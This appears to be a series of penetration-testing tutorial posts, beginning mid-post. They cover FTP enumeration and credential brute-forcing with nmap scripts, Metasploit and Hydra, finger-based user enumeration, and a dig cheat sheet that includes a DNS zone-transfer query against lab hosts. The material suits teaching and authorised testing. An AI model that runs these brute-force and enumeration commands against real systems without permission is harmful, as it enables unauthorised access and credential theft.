Query the status of files, transfers in process, and other system information. The STAT command implemented on some FTP servers could allow a remote attacker to obtain sensitive information; therefore, it is disabled on some servers.
|
Enable/disable prompts
|
prompt
|
Use this command if you do not want to be prompted for each file transfer when transferring multiple files.
|
Enumeration
Nmap
1. Basic enumeration scan
- nmap -p 21 -A -sV -sC 192.168.0.7

2. Using NSE scripts
- nmap -p 21 --script ftp-anon,ftp-bounce,ftp-brute,ftp-libopie,ftp-proftpd-backdoor,ftp-syst,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221 192.168.0.7

Metasploit
1. Enumerate banner
- use auxiliary/scanner/ftp/ftp_version
- show options
- set RHOSTS 192.168.0.7
- exploit

Secure banner: Edit the config file located in /etc, in our case it is named vsftpd.conf, enable custom banner, by uncommenting the line:
Before

After

Then restart the service and test again.

2. Brute force with Metasploit
- use auxiliary/scanner/ftp/ftp_login
- show options
- set blank_passwords true
- set RHOSTS 192.168.0.7
- set USERNAME anonymous
- exploit

You can set password, username lists, stop on success, etc.
3. Find the privileges of anonymous login
- use auxiliary/scanner/ftp/anonymous
- show options
- set rhosts 192.168.0.7
- exploit

Connect using FTP command
1. Once, the username & password are identified. Or if anonymous log in is enabled. Access the remote service
- ftp 192.168.0.10
- USER: anonymous
- PASS: anonymous

2. Once authenticated, you are permitted to run commands depending on permissions of the user.

3. Since, we have read permission we could download the file

Hydra
You can brute force log in using hydra
- hydra -s 21 -C /usr/share/legion/wordlists/ftp-default-userpass.txt -u -f 192.168.0.7 ftp

There are other methods to enumerate ftp like capturing network traffic, sometime ftp is sent over insecure networks.
Once, you get log in you can explore and navigate through the file system, read or even write files.
I captured traffic using Wireshark and I see the log in messages flowing through the network

by Vry4n_ | Feb 15, 2020 | Active Gathering
Finger is primarily used to enumerate user information on the target system. It can also find out detailed information (if exists) such as full name, email address, phone number etc. of all its users.
Nmap result

finger-user-enum
finger-user-enum is a script used to enumerate users
https://github.com/pentestmonkey/finger-user-enum
Username guessing tool primarily for use against the default Solaris finger service.
Installation
- git clone https://github.com/pentestmonkey/finger-user-enum.git
- ls -l finger-user-enum

Using finger-user-enum
1. Displaying help
- perl finger-user-enum.pl -h

2. enumerate a single user
-u = user
-t = host IP
- perl finger-user-enum.pl -u root -t 10.10.10.76

We can see output of root user, it means the user exists (1 result). On the other hand, the screenshot below would show (0 results).
- perl finger-user-enum.pl -u vry4n -t 10.10.10.76

3. Enumerate users using a list
- perl finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76

4. Using a list of IPs
- perl finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -T IP_list.txt
5. Using another port than default 79
- perl finger-user-enum.pl -p 8000 -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76
6. Showing detailed output
- perl finger-user-enum.pl -d -u root -t 10.10.10.76

Metasploit
1. Metasploit has a module for finger scan (auxiliary/scanner/finger/finger_users)
- use auxiliary/scanner/finger/finger_users
- show options
- set RHOSTS 10.10.10.76
- set USERS_FILE /usr/share/seclists/Usernames/Names/names.txt
- exploit

Using finger
Finger is a tool used to enumerate users using port 79. Finger may be used to look up users on a remote machine. The format is to specify a user as “user@host”, or “@host”
1. Display man page for help

2. enumerate a known user. In this case root
- finger -s root@10.10.10.76

3. Show the home directory of the user
- finger -sl root@10.10.10.76

4. Preventing the -l option from displaying the contents of the “.plan”, “.project” and “.pgpkey” files.
- finger -slp sammy@10.10.10.76

by Vry4n_ | Dec 10, 2019 | Active Gathering
Dig stands for (Domain Information Groper). Dig is a network administration command-line tool for querying Domain Name System (DNS) name servers. It is useful for verifying and troubleshooting DNS problems and also to perform DNS lookups and displays the answers that are returned from the name server that were queried. dig is part of the BIND domain name server software suite. dig command replaces older tool such as nslookup and the host. dig tool is available in major Linux distributions.
Install Dig on Linux
Debian
CentOS 7
Dig Syntax
In its simplest form, the syntax of the dig utility will look like this:
- dig [server] [name] [type]
[server] – the IP address or hostname of the name server to query
If the server argument is the hostname then dig will resolve the hostname before proceeding with querying the name server.
It is optional and if you don’t provide a server argument then dig uses the name server listed in /etc/resolv.conf
[name] – the name of the resource record that is to be looked up
[type] – the type of query requested by dig. For example, it can be an A record, MX record, SOA record or any other types. By default dig performs a lookup for an A record if no type argument is specified.
Queries
Dig Commands Cheatsheet
Dig a Domain Name
UNDERSTAND THE OUTPUT:
- Lines beginning with ; are comments not part of the information.
- The first line tell us the version of dig (9.11.5) command.
- Next, dig shows the header of the response it received from the DNS server
- Next comes the question section, which simply tells us the query, which in this case is a query for the “A” record of yahoo.com. The IN means this is an Internet lookup (in the Internet class).
- The answer section tells us that yahoo.com has the IP address 72.30.38.140
- Lastly there are some stats about the query. You can turn off these stats using the +nostats option.

Short Answers

Detailed Answers
- dig yahoo.com +noall +answer

Specifying Nameservers
The following dig command sends the DNS query to Google’s name server(8.8.8.8) by using the @8.8.8.8 option

Query All DNS Record Types

Search For Record Type
- dig yahoo.com MX
- dig yahoo.com NS
- dig yahoo.com A
- dig yahoo.com SOA
Trace DNS Path

Reverse DNS Lookup
- dig +answer -x 98.138.219.231

Reverse DNS lookup lets you look up the domain and hostname associated with an IP address.
Batch Queries
- dig -f domain_name.txt +short
provide dig with a list of domain names – one per line in a file
Custom Query
- dig axfr @10.10.10.13 cronos.htb

Those different domains in the output point to the same IP.